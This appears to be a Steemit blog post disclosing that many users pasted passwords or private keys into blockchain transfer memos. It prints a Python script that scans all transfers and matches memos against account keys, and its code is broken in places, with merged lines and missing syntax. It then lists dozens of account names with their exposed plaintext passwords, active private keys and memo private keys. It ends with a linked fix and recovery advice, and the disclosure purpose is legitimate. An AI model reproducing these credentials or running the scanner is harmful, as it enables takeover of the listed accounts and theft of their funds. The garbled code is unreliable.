Actually, we - - have gained access to 9 passwords, 2 private active keys and 64 private memo keys, but first, TL;DR:
Image credits: source
TL;DR
no, we didn’t hack Steem blockchain
no, we didn’t hack steemit.com website or any other service build on top of Steem
we didn't steal those funds, despite the fact that we could easily do that
we changed passwords of all compromised accounts
we transferred all funds into saving accounts of each account (to show, that we do not want to take them)
the problem is with 2 accounts to which we have active keys. We cannot change password without old password or owner key, so we make sure, that those funds are safe on saving accounts.
what we did, we exploited a flaw in design of steemit website, which caused that many users made exactly the same fatal mistake:
Few days ago I noticed in my cousin's wallet, that he accidentally pasted his own password into wrong field (a memo field), when he made a transfer. I warned him, so he changed his password. But this got me thinking... if he could make such mistake, anyone could do that! And unfortunately I wasn't wrong :(
So I wrote a script, which analyze all transfers in Steem history, which checked each memo, whether it is a match with current public keys of a user:
import csv
import pymssql
import json
from steembase.account import PrivateKey, PasswordKey
from multiprocessing import Process, Queue, Manager
WORKERS = 8
q = '''
SELECT
TxTransfers.*,
sender.owner sender_owner,
sender.active sender_active,
sender.posting sender_posting,
sender.memo_key sender_memo_key,
receiver.owner receiver_,
receiver.active receiver_active,
receiver.posting receiver_posting,
receiver.memo_key receiver_memo_key
FROM TxTransfers
INNER JOIN Accounts as sender
ON TxTransfers."from" = sender.name
INNER JOIN Accounts as receiver
ON TxTransfers."to" = receiver.name
WHERE TxTransfers.type = 'transfer'
AND TxTransfers.memo != '';
'''
def get_keys(field):
return [key_auth[0] for key_auth in json.loads(field)['key_auths']]
def get_public_keys_from_fields(public_keys_by_account, account_name, owner_field, active_field, posting_field,
memo_key_field):
if account_name not in public_keys_by_account:
public_keys_by_account[account_name] = {
'owner': get_keys(owner_field),
'active': get_keys(active_field),
'posting': get_keys(posting_field),
'memo': [memo_key_field],
}
return public_keys_by_account[account_name]
def get_public_key_from_password(shared_dict, account_name, password):
if account_name + password not in shared_dict:
shared_dict[account_name + password] = str
PasswordKey(account_name, password, 'owner').get_private_key().pubkey)
return shared_dict[account_name + password]
def get_public_key_from_private(shared_dict, priv_key):
if priv_key not in shared_dict:
shared_dict[priv_key] = str(PrivateKey(priv_key).pubkey)
return shared_dict[priv_key]
def worker(
pid,
transactions_queue,
results_queue,
public_keys_from_passwords,
public_keys_from_private_keys
):
print('[{}] worker started'.format(pid))
while not transactions_queue.empty():
i, account_name, public_keys, memo = transactions_queue.get()
print('[{}][{}] Testing "{}" against "{}"'.format(i, pid, account_name, memo))
public_owner_key = get_public_key_from_password(public_keys_from_passwords, account_name, memo)
if public_owner_key in public_keys['owner']:
print("[{}] Gotcha! Found main password for '{}' account: {}".format(pid, account_name, memo))
results_queue.put((account_name, 'password', memo,))
else:
try;some_public_key = get_public_key_from_private(public_keys_from_private_keys, memo) for role in ['posting', 'active', 'owner', 'memo']: for key in public_keys[role]: if key == some_public_key;print("[{}] Gotcha! Found private {} key for '{}' account: {}".format(pid, role, account_name, memo
)
results_queue.put((account_name, role, memo,))
except AssertionError:
print('[{}] AssertionError: {}'.format(pid, memo))
continue
except ValueError as e:
if str(e) == 'Error loading Base58 object':
continue
elif str(e) == 'Odd-length string':
continue
print('[{}] worker ended'.format(pid))
def save_results(results_queue):
tmp = set()
with open('results.csv', 'w+') as file:
writer = csv.writer(file, quotechar=""", delimiter=";", escapechar="\"
writer.writerow(['account', 'type', 'memo'])
while True:
result = results_queue.get()
if result == 'kill':
break
if result not in tmp:
writer.writerow(result)
file.flush()
tmp.add(result)
def main():
manager = Manager()
existing_public_keys_by_account = {}
public_keys_generated_from_potential_passwords = manager.dict()
public_keys_generated_from_potential_private_keys = manager.dict()
transactions = Queue()
results = Queue()
conn = pymssql.connect('sql.steemsql.com', 'steemit', 'steemit', 'DBSteem')
cursor = conn.cursor()
cursor.execute(q)
with open('transactions.csv', 'w+') as file
writer = csv.writer(file, quotechar=""", delimiter=";", escapechar="\")
writer.writerow((
'id', 'tx_id', 'type', 'from', 'to', 'amount', 'amount_symbol', 'memo', 'request_id', 'timestamp',
'sender_owner', 'sender_active', 'sender_posting', 'sender_memo_key',
'receiver_owner', 'receiver_active', 'receiver_posting', 'receiver_memo_key')
)
for row in cursor:
print('.', end='')
writer.writerow([str(item).replace('\r\n', '') for item in row])
with open('transactions.csv', 'r') as file:
reader = csv.reader(file, quotechar=""", delimiter=";", escapechar="\")
next(reader) # skipping the header
for i, (
id_, tx_id, type_, from_, to_, amount, amount_symbol, memo, request_id, timestamp,
sender_owner, sender_active, sender_posting, sender_memo_key,
receiver_owner, receiver_active, receiver_posting, receiver_memo_key
) in enumerate(reader):
sender_keys = get_public_keys_from_fields(
existing_public_keys_by_account, from_, sender_owner, sender_active, sender_posting, sender_memo_key
)
receiver_keys = get_public_keys_from_fields(
existing_public_keys_by_account, to_, receiver_owner, receiver_active, receiver_posting,
receiver_memo_key
transactions.put((i, from_, sender_keys, memo))
transactions.put((i, to_, receiver_keys, memo))
processes = []
for i in range(WORKERS)
p = Process(target=worker, args=(
i,
transactions,
results,
public_keys_generated_from_potential_passwords,
public_keys_generated_from_potential_private_keys
))
p.start()
processes.append(p)
listener = Process(target=save_results, args=(results,))
listener.start()
for p in processes:
p.join()
results.put('kill')
listener.join()
print("end")
if name == 'main':
main()
which returned:
account type memo
dunja password hurehurehure1234
anwen-meditates password P5Kk17eRvytzkRzzngp1CdVbQvRqFUq8wrvw8SqNdcZwXot2JRXA
jakethedog password P5JEo9aSW6CAF6apUsMbxqSe6r991T5G35uXcoYMP1PmifBRqX87
miketr password P5JEZWqSV28XAGrwMXn5G2Sx4dADvS5mz4DrrtjoraY8nmB59Rrb
blacktiger password P5HufQw3V442c4DREjUL4Ed4fQ41VzBhPtn5SkCBDJ25tuRFg1UC
quetzal password P5KC2JAHPyuA5tBn4K8PxoLuwXqHx51GHy7tG3gD7DupKH8NxqZz
tieuthuong password P5HybN5mguE6G2QB4BVKbreexEtxJD84veHcz4s3L9R8JLQ6m85V
aubreyfox password P5J5wS2gkQBv3U6WPgHU9gUTitbWE4V5CKYeEhZGVa3VGgkzQU2p
virtualgrowth password P5Kifqmdm38WPHpn2FUigLbhfD7FatHAHfcuRU5xSi16AFJFex3r
trump active 5KWkAdBieGJ8TwrpudKjJ3txTGKdjKSBHPgjiH1RGgFRWXp8uM9
amrsaeed active 5JqaDeu2s3BsG9QYenpz2xjLfg3qdaeWhXduYNUSmK7KWAywx93
trump memo 5KWkAdBieGJ8TwrpudKjJ3txTGKdjKSBHPgjiH1RGgFRWXp8uM9
alao memo 5JBGwoooi1gEUXBhu6up1qWdsKKKG1TEakQwaBNMb95dup5f9xh
athleteyoga memo 5KU2dcxLpSCJZ4SB8eBqUJs2PCEuwfx7w2XYCUmcnLqgdHHqjq2
beeridiculous memo 5KHkKyHpxDBuuKGt5QwTbb42bxmMUo1Xk9efBKU7wUoRed2Ak8z
romanskv memo 5JzZ1BUHGrYrmu9Kms5mFK2nhQPFSxKHXp5mtcfMrQWioEgJTfE
blockiechain memo 5JJZPu2z6DfhyGFsm9b458wff8H168f4yiAidbsWq55YSbFLd3a
bloodhound memo 5JQZo8QDuQ1eDqsgMnVHg1ujqYNUTEDV4KYZyeSdbzSAbXMsSuV
bryguy memo 5JdJHDcgeqyaHEgmyTbob221RUvttqyRVVPViAMzuq4hWJKw6sa
churchsoftware memo 5KB3B3rHxvvaR3C2gfNyKkkReqdfbsjPs4AZ8ceiiR4B49oCDmJ
chuckles memo 5KWf41ixGbPMpAxNhe47jtTVbyAi9Su4mZrHaVanYP2rQWoPUUk
coincravings memo 5Jp6RJ71B824qc2cHXLPNYHZPD1BgxE2rFMyEpDszjqussW5iSA
colombiana memo 5JaewDd6gw4AjXGhABCdZk2FHrwxHJnJDWZmkUzJYuny6rarbf3
cryptoeasy memo 5JNv71NgwCRUDAQu1NP67TDRVHKmRnnGLRfNFMwAKS8fTMLvLkQ
datkrazykid memo 5JbiRrFrv9GLMjjPYZA8K7AWxAXQThs5AefWj1JgqjzMS2jLdng
dollarvigilante memo 5Hqzx26rSmSJ2o5VB8gicf3F2Q6BU35n1nMNajcEmDxMietvUVx
dethie memo 5K3BBi9pETRGG7KkS7VDrWY7exDCCi315prn2Mf9dTuR9vCejEH
francoisstrydom memo 5Jkw1HdHc1ucwTosaqhXVAhyG848d1ZJprQsrwP1UEctazBvU3D
farinspace memo 5JMckr9WkVbRZdbeMwQ6CNwTWBfrp4vTBy9K1YTJyZ76XBbRgZW
golgappas memo 5K8zaCwcXWjQPjs6JGH896pGb6jENyMNU19g1hSsYXW1X2Dour1
goldrush memo 5JKCSn4xwHHCTBNy1MYJgbLDpYGR434A43gUvGPCVJPAs49GMvX
hithere memo 5HxdErB3wPUDQKWEcjNBBWLpB1uJ8aMrY1tK5ZA1k56MqmTtT31
iaco memo 5JTYW5HfPJJX47VRT1Cq9Nz8aSruWKhETiD6oo9GPJNteQ5RPke
inphinitbit memo 5J9uWL39vDYgEosscgxEziYQ2ybPbxM5e9sPkzTxgqTgNYC7Mx7
jellos memo 5JYXarzjE5afBtHcjhvdUcczrqCsfUEyxVRTKAFyDdjGatkTNNy
kakradetome memo 5JuMh7FikJ1UVpUauF3J1e7MHj562z8Zmnp29pauVgPw3A4SgYC
kingofdew memo 5HrSQ9yJizKCbDAu2Di9PnSuMPwMuNQCiKRdBUqzHFZySWQmtbL
malyshew1973 memo 5KbD93C9XLGL4Aa4ncSpRnXCVuSRTvRRP6gANwHPbUeWBaPf4Eq
leesmoketree memo 5Kctn9BvtxB3CXzzX4GMcmLygq42LqisCZr5MAy7VYPzvwX5o7u
lichtblick memo 5J9jkRijjAn8o8DXt8R1ujSZHtahevVCw8CGzPEjnvCEsqkXjHy
lopezro memo 5K6rmYGbHaGsAyGLpQMNupWcmjQFHvjX2GtYyCrC3KMgWAWcNci
lostnuggett memo 5JEKwfrtSEFvw8P8qnWyDhfxnQTRB5Vn2WxwW3tE4gL4pZiwPcQ
luani memo 5Jo7p98JCpTiH1q9kVC81etym4QSHRRpLDvxumRW7BXouDu8Yfd
mama-c memo 5HqAhZBvbBJKVWJ1tsrg7xnS1dvNNyxBoHzp8Snvp9C6Uawx66x
marionjoe memo 5KUpMmkx6hrPanwKzUvrHTonLDQkZAoiJwESogHAMSeuFsB1Lqc
maxfuchs memo 5J9CvSGNyLBgUwhKtsTWCqTddbDZJ4tFrVSyWFzDstsQiG9spPe
mkultra87f memo 5J8mDeubzJwEtHsbPzfUCVetNgPrVgQVHUBQDySH7v1qSS44DBf
mrsgreen memo 5JyAaFEdEriRLpQ9uEXGoeNyHpw1TscqN6VP6iNjpoFbA8JCrMP
nathanhollis memo 5Kk1N4nxMPbqVuJCVt3MUjz5dvJR716cUAdf6c3kToqzMqT8rRu
murat memo 5K8R2J7xiLRN3HWdAy5Zym4taE74o9DWF8FV82HHFrqNUZDzdxW
nikolad memo 5KdeDUj92w2HXsLH6V6SpNGPAeyBtJEU5jVoqZyjaHDkE39AkzF
niliano memo 5KCPgZBnLziZC88e44j8GxK11XYdpQyo8WFxocBH24jAhEnVN6z
norbu memo 5J5HyEwx54MwKW8gpsSBzvwAweHRjH11CXs85RCNWSooyPYRaeh
onighost memo 5HwsjHgWMmJSLdiVgdxbRWqyvFtsKRC3Mk2tDzkpW4293ssTa6V
pinkisland memo 5JAymGCYWxhojoyQsfAC4x619nq5vkcQBhMWjEZHwiitodBYFV5
rawmeen memo 5JnLMoPRry2n361tPxQq7MYy16tn5PuT2PmsP1FLrRGJsp1Vfem
qamarpinkpanda memo 5K4SgN4tps3HRiyy49m5rfWNCZmyBVYv7eFF3CTRkcJJPQsExTb
richarddean memo 5JPPUidz7rPN6VPHFJQbjnh8a3JQCDzP7fJSt93EQkUeLr3gmJJ
saramiller memo 5K8My6Afbi6ff5CeFByB5e9zQG4QUX4MtMRHs7Ux9Tvu4ZSP7H4
slimjim memo 5HtkqVNSBj4kf6tyyyNPBgpnbgkrvATM1wBYY4mkNfxs9xiYHbv
smisi memo 5Hsre3qaCDBcxwGiig5qFc65dwf2NfAssUUTXfCWFmbhbxPz7bL
sraseef memo 5K558SavQVHXnKn6k8CoKe28T3FAmmAtRJuCMjpwdSwR6sT9rYq
steemshop memo 5JRoiSJw18Vj3rGt5mrd4JeuxL1Wb1YpGyFDQu9pFrKmckr6kTu
surpriseattack memo 5K8Be3nW33Lc5vqRUJx3xmoLFnMMmJPMthYHb16i7R2gwFTJqh3
tee-em memo 5KPT9Nhtho3qaAFkGQ4zqy7Dae1729WdYM5wL3UPyKVuTauonif
theofphotography memo 5KRJ9qt8E9o6KXFhfyW7PJH7sDsmSBVaBeC8SmLR5LmReQii44Y
thunderberry memo 5JxtXr2cMTkbU37CDtPyFdGuTT9fPceNemwnJDsqAdMoV5msLEP
tomino memo 5JPBiMwfrqTdgZhW16LjdeMZv29gtKQC4eb4jyVTpk2Vvx5MHde
worldclassplayer memo 5JQBm8pn5vwChYdoxx3tJw6dkBFeQpKBKia5roB9DqXZMoFdF4h
writemore memo 5JJTZpTEvw4C7cnU7Q9NfzUnXSYqwYLLxkP7B3c39Z82Uwzj14d
wthomas memo 5HwbsX4CTKtCJLH8QYuVBTvCbJYQwwFDiCCKy99uNLCHpoazo6N
walcot memo 5KJjeTJGM8FjjDpj8mHRFpjae5SeSZ9Y8CGaBJC7VqFUGR25Qa6
vovaha memo 5J9Wxf1Xz1hXvMd7ubXHNZXhFoF1yhQT3GSHNVmRNXERCnBZJ7e
The fix
I created and submitted a fix, to prevent such mistakes in a future:
https://github.com/steemit/condenser/pull/1464
FAQ:
My Account was hacked - what I should do?
Actually, I cannot reach you on steemit.chat or discord to give you your new generated password. Why is that? Because no one can have a certainty, that you actually have the same login on different service. I do not want to risk giving access to your account to someone who just pretend to be you.
You should go to: https://steemit.com/recover_account_step_1
and you will be able to restore access to your account with a help of steemit and your email address.
Important
According to code in Steem blockchain, you can do that only during first 30 days after password was changed.
My account is on a list, but only private memo key was exposed. What should I do?
You should change your password immediately.
You can do that on: https://steemit.com/@<your_login>/password
Right now (according to my knowledge) exposed memo key do not make a damage, but it was said few times, that those private keys in the future might be be used to encrypt private messages. Exposed private memo key would mean, that anyone could read your private messages. You don't want that, right?
What next?
You can expect from me in very near future few posts about security (for total newbies and for developers):
How private and public keys works. What is the difference between password and a private key
Why Steemit didn't detect that I checked passwords of 183388 users
Very detail explanation of how passwords are stored by steemit in your browser, and why it is secure
How to set own password, which is not generated by Steemit
How to make you account on Steemit more secure, by using only private posting key for every-day use
Make sure, you follow me, to learn more about how to keep your fortune earned on Steemit more secure :)